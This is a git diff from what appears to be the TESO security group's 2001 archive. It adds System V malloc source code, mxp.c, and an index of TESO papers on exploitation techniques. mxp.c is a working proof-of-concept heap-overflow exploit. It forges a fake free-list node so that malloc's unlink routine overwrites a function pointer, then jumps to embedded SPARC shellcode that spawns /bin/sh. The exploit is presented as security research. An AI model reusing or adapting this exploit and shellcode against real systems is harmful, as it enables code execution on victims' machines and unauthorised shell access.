n; + + /* new bottom block */ + tp = (TREE *)addr; + SIZE(tp) = n - 2 * WORDSIZE; + ASSERT((SIZE(tp) % ALIGN) == 0); + + /* reserved the last word to head any noncontiguous memory */ + SETBIT0(SIZE(NEXT(tp))); + + /* non-contiguous memory, free old bottom block */ + if (Bottom && Bottom != tp) { + SETBIT0(SIZE(Bottom)); + realfree(DATA(Bottom)); + } + + return (tp); +} + + +/* + * Tree rotation functions (BU: bottom-up, TD: top-down) + */ + +#define LEFT1(x, y) \ + if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\ + if ((PARENT(y) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\ + else RIGHT(PARENT(y)) = y;\ + LEFT(y) = x; PARENT(x) = y + +#define RIGHT1(x, y) \ + if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\ + if ((PARENT(y) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(y)) = y;\ + else RIGHT(PARENT(y)) = y;\ + RIGHT(y) = x; PARENT(x) = y + +#define BULEFT2(x, y, z) \ + if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\ + if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\ + if ((PARENT(z) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ + else RIGHT(PARENT(z)) = z;\ + LEFT(z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y + +#define BURIGHT2(x, y, z) \ + if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\ + if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\ + if ((PARENT(z) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ + else RIGHT(PARENT(z)) = z;\ + RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y + +#define TDLEFT2(x, y, z) \ + if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\ + if ((PARENT(z) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ + else RIGHT(PARENT(z)) = z;\ + PARENT(x) = z; LEFT(z) = x; + +#define TDRIGHT2(x, y, z) \ + if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\ + if ((PARENT(z) = PARENT(x)) != NULL)\ + if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ + else RIGHT(PARENT(z)) = z;\ + PARENT(x) = z; RIGHT(z) = x; + +/* + * Delete a tree element + */ +static void +t_delete(TREE *op) +{ + TREE *tp, *sp, *gp; + + /* if this is a non-tree node */ + if (ISNOTREE(op)) { + tp = LINKBAK(op); + if ((sp = LINKFOR(op)) != NULL) + LINKBAK(sp) = tp; + LINKFOR(tp) = sp; + return; + } + + /* make op the root of the tree */ + if (PARENT(op)) + t_splay(op); + + /* if this is the start of a list */ + if ((tp = LINKFOR(op)) != NULL) { + PARENT(tp) = NULL; + if ((sp = LEFT(op)) != NULL) + PARENT(sp) = tp; + LEFT(tp) = sp; + + if ((sp = RIGHT(op)) != NULL) + PARENT(sp) = tp; + RIGHT(tp) = sp; + + Root = tp; + return; + } + + /* if op has a non-null left subtree */ + if ((tp = LEFT(op)) != NULL) { + PARENT(tp) = NULL; + + if (RIGHT(op)) { + /* make the right-end of the left subtree its root */ + while ((sp = RIGHT(tp)) != NULL) { + if ((gp = RIGHT(sp)) != NULL) { + TDLEFT2(tp, sp, gp); + tp = gp; + } else { + LEFT1(tp, sp); + tp = sp; + } + } + + /* hook the right subtree of op to the above elt */ + RIGHT(tp) = RIGHT(op); + PARENT(RIGHT(tp)) = tp; + } + } else if ((tp = RIGHT(op)) != NULL) /* no left subtree */ + PARENT(tp) = NULL; + + Root = tp; +} + +/* + * Bottom up splaying (simple version). + * The basic idea is to roughly cut in half the + * path from Root to tp and make tp the new root. + */ +static void +t_splay(TREE *tp) +{ + TREE *pp, *gp; + + /* iterate until tp is the root */ + while ((pp = PARENT(tp)) != NULL) { + /* grandparent of tp */ + gp = PARENT(pp); + + /* x is a left child */ + if (LEFT(pp) == tp) { + if (gp && LEFT(gp) == pp) { + BURIGHT2(gp, pp, tp); + } else { + RIGHT1(pp, tp); + } + } else { + ASSERT(RIGHT(pp) == tp); + if (gp && RIGHT(gp) == pp) { + BULEFT2(gp, pp, tp); + } else { + LEFT1(pp, tp); + } + } + } +} + + +/* + * free(). + * Performs a delayed free of the block pointed to + * by old. The pointer to old is saved on a list, flist, + * until the next malloc or realloc. At that time, all the + * blocks pointed to in flist are actually freed via + * realfree(). This allows the contents of free blocks to + * remain undisturbed until the next malloc or realloc. + */ +void +free(void *old) +{ + (void) _mutex_lock(&__malloc_lock); + _free_unlocked(old); + (void) _mutex_unlock(&__malloc_lock); +} + + +void +_free_unlocked(void *old) +{ + int i; + + if (old == NULL) + return; + + /* + * Make sure the same data block is not freed twice. + * 3 cases are checked. It returns immediately if either + * one of the conditions is true. + * 1. Last freed. + * 2. Not in use or freed already. + * 3. In the free list. + */ + if (old == Lfree) + return; + if (!ISBIT0(SIZE(BLOCK(old)))) + return; + for (i = 0; i < freeidx; i++) + if (old == flist[i]) + return; + + if (flist[freeidx] != NULL) + realfree(flist[freeidx]); + flist[freeidx] = Lfree = old; + freeidx = (freeidx + 1) & FREEMASK; /* one forward */ +} + +/* + * cleanfree() frees all the blocks pointed to be flist. + * + * realloc() should work if it is called with a pointer + * to a block that was freed since the last call to malloc() or + * realloc(). If cleanfree() is called from realloc(), ptr + * is set to the old block and that block should not be + * freed since it is actually being reallocated. + */ +static void +cleanfree(void *ptr) +{ + char **flp; + + flp = (char **)&(flist[freeidx]); + for (;;) { + if (flp == (char **)&(flist[0])) + flp = (char **)&(flist[FREESIZE]); + if (*--flp == NULL) + break; + if (*flp != ptr) + realfree(*flp); + *flp = NULL; + } + freeidx = 0; + Lfree = NULL; +} diff --git a/informationals/teso-i0037/mxp.c b/informationals/teso-i0037/mxp.c new file mode 100644 index 0000000..76b5f3a --- /dev/null +++ b/informationals/teso-i0037/mxp.c @@ -0,0 +1,195 @@ +/* System V malloc implementation exploitation in buffer overflows + * + * 2001/05/06 + * -sc/teso + * + * tested on sol 2.7/2.8 + * shellcode seems to segfault sometime, but anyway, the malloc overwrite + * works yay! + */ + +#include +#include +#include "mallint.h" + + +typedef void (* func_ptr)(void); + +void +hexdump (unsigned char *data, unsigned int amount); + + +int +main (int argc, char *argv[]) +{ + TREE * fake; + TREE * memchunk; + unsigned char * mem; + func_ptr func_hook = NULL; + + void * retloc; + void * retaddr; + unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */ + "\x10\x80\x00\x03" /* b foolabel */ + "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ +/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */ + +/* foolabel: */ "\x82\x10\x20\x17" /* mov 23, %g1 */ + "\x91\xd0\x20\x08" /* ta 0x8 */ + "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ + "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ + "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ + "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ + "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ + "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ + "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ + "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ + "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ + "\x82\x10\x20\x3b" /* mov 59, %g1 */ + "\x91\xd0\x20\x08" /* ta 0x8 */ + "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ + "\x82\x10\x20\x01" /* mov 1, %g1 */ + "\x91\xd0\x20\x08"; /* ta 0x8 */ + + + printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n", + shellcode[0], shellcode[1], shellcode[2], shellcode[3], + shellcode[4], shellcode[5], shellcode[6], shellcode[7]); + printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n", + shellcode[8], shellcode[9], shellcode[10], shellcode[11], + shellcode[12], shellcode[13], shellcode[14], shellcode[15]); + + retloc = &func_hook; + retaddr = shellcode; + + + /* get memory chunk which will be overflowed + */ + mem = malloc (64); + memchunk = BLOCK(mem); + printf (" mem = 0x%08lx\n", (unsigned long int) mem); + printf ("memchunk = 0x%08lx\n", (unsigned long int) memchunk); + + /* the overflowed chunk must not be the last, the special 'Bottom' + * chunk. in that case it would not be merged with the fake chunk + * behind, because realfree would think it is the last chunk anyway. + * so we ensure there is a malloc chunk behind the overflowed one + */ + (void) malloc(2903); + + /* our basic idea is to create a fake non-tree node after the real + * chunk, which will later be coalescated with the real chunk. while + * this is done, the fake chunk is removed from a chained tree, which + * we set up to overwrite arbitrary addresses + * + * take care of NUL'ing out the lower two bits if using the macros + */ + +#define RNEXT(b) ((TREE *)(((char *)(b)) + (SIZE(b) & ~BITS01) + WORDSIZE)) + fake = RNEXT(BLOCK(mem)); + printf (" fake = 0x%08lx\n", (unsigned long int) fake); + + /* conditions to be met: + * 1. BIT0(fake) = 0 (it is unused) + * 2. ->t_l == -1 (NOTREE) + */ + memset (fake, 'A', sizeof (TREE)); + SIZE(fake) = 0xfffffff0; + CLRBIT0(SIZE(fake)); + SETNOTREE(fake); + + /* t1 = fake->t_p + * t2 = fake->t_n + * t2->t_p = t1 + * t1->t_n = t2 + * (in t_delete) + * + * effectivly: + * fake->t_n->t_p = fake->t_p + * fake->t_p->t_n = fake->t_n + * raw: + * [t_n + (1 * sizeof (WORD))] = t_p + * [t_p + (4 * sizeof (WORD))] = t_n + * + * so: t_p = retloc - 4 * sizeof (WORD) + * t_n = retaddr + * + * and retaddr[8-11] will be overwritten with t_p + */ + PARENT(fake) = retloc - 4 * sizeof (WORD); + LINKFOR(fake) = retaddr; + + /* we call free, but our chunk is just added to a "to-be-freed" + * list. the real free process is done by the realfree function, + * which is called on two conditions: + * 1. a malloc() is called + * 2. more than FREESIZE free() calls (the list would overflow) + */ + printf ("overflowed with:\n"); + hexdump ((unsigned char *) fake, sizeof (TREE)); + + printf ("freeing chunk1 (mem) = 0x%08lx\n", + (unsigned long int) mem); + free (mem); + + printf ("reallocating a larger chunk (causes realfree)\n"); + mem = malloc (256); + + printf ("survived, hopefully succeeded\n"); + + printf ("shellcode: %02x %02x %02x %02x %02x %02x %02x %02x\n", + shellcode[0], shellcode[1], shellcode[2], shellcode[3], + shellcode[4], shellcode[5], shellcode[6], shellcode[7]); + printf (" %02x %02x %02x %02x %02x %02x %02x %02x\n", + shellcode[8], shellcode[9], shellcode[10], shellcode[11], + shellcode[12], shellcode[13], shellcode[14], shellcode[15]); + + printf ("func_hook = 0x%08lx\n", (unsigned long int) func_hook); + if (func_hook != NULL) + func_hook (); + + return (0); +} + + +void +hexdump (unsigned char *data, unsigned int amount) +{ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + for (dp = 1; dp <= amount; dp++) { + fprintf (stdout, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (stdout, " "); + if ((dp % 16) == 0) { + fprintf (stdout, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (stdout, "%c", trans[data[dp]]); + fflush (stdout); + fprintf (stdout, "\n"); + } + fflush (stdout); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (stdout, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (stdout, " "); + fflush (stdout); + } + fprintf (stdout, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (stdout, "%c", trans[data[dp]]); + fflush (stdout); + } + fprintf (stdout, "\n"); +} + diff --git a/informationals/teso-informationals.txt b/informationals/teso-informationals.txt new file mode 100644 index 0000000..696a017 --- /dev/null +++ b/informationals/teso-informationals.txt @@ -0,0 +1,48 @@ + +TESO Informationals +Index file + +Last update 2001/05/06 + +=============================================================================== +0001 2000/01/20 Difference in Linux 2.x ARP Request handling +0002 2000/01/21 TCP stealth scan "Scan 64" +0003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe + part of the WebsitePro Package (cgi-bin) +0004 2000/01/22 Conceptual bug in webvoting systems with proxy protection +0005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem) +0006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery +0007 2000/01/23 Conceptual bug in PHP and also in CGI modules +0008 2000/01/24 Check for IP spoofing abilities for a local IP address +0009 2000/01/26 HTTP proxy forwarding +0010 2000/01/30 Trick for exploiting BIND nameservers +0011 2000/02/01 Linux keyboard handler tricks +0012 2000/02/08 Method to stretch DNS packet length +0013 2000/02/17 Linux blind TCP spoofing methods overview +0014 2000/02/18 Linux remote DoS overview +0015 2000/02/19 Possible security weakness in implementation of PHP3 scripts +0016 2000/02/23 Trick to hide UDP ports, trick to discover this +0017 2000/02/25 Information on how to exploit Lancity cablemodems +0018 2000/03/11 Exploiting FTP URL parsing within web browsers +0019 2000/03/21 Majordomo include inconveniences +0020 2000/03/29 Writing MIPS/Irix shellcode +0021 2000/04/15 pidentd VERSION Linux distribution fingerprinting +0022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16 +0023 2000/04/16 Information on BinTec Router DoS +0024 2000/05/06 chroot break possibilities overview +0025 2000/05/20 some spicy tricks for buffer overflow exploitation +0026 2000/05/30 file existance check through suid binaries +0027 2000/06/29 format string supply vulnerabilities and exploitation +0028 2000/09/17 new format string problems (ntalkd, radiusd, innd, samba) +0029 2000/10/05 format string: poping the stack faster than with %f +0030 2000/10/14 exploitable format string problem in cfingerd <= 1.4.2 +0031 2000/12/20 exploitable one-byte overflow in openftpd 1.0 beta28 +0032 2001/02/03 explanations of malloc() overwrite technique +0033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address +0034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely +0035 2001/03/13 safely getting control in fmt bugs if KERNEL32 is known +0036 2001/04/16 bugs in BIND 8.2.3-REL, ProFTPd, ... +0037 2001/05/06 System V malloc implementation details for exploitation +=============================================================================== + + -- cgit v1.3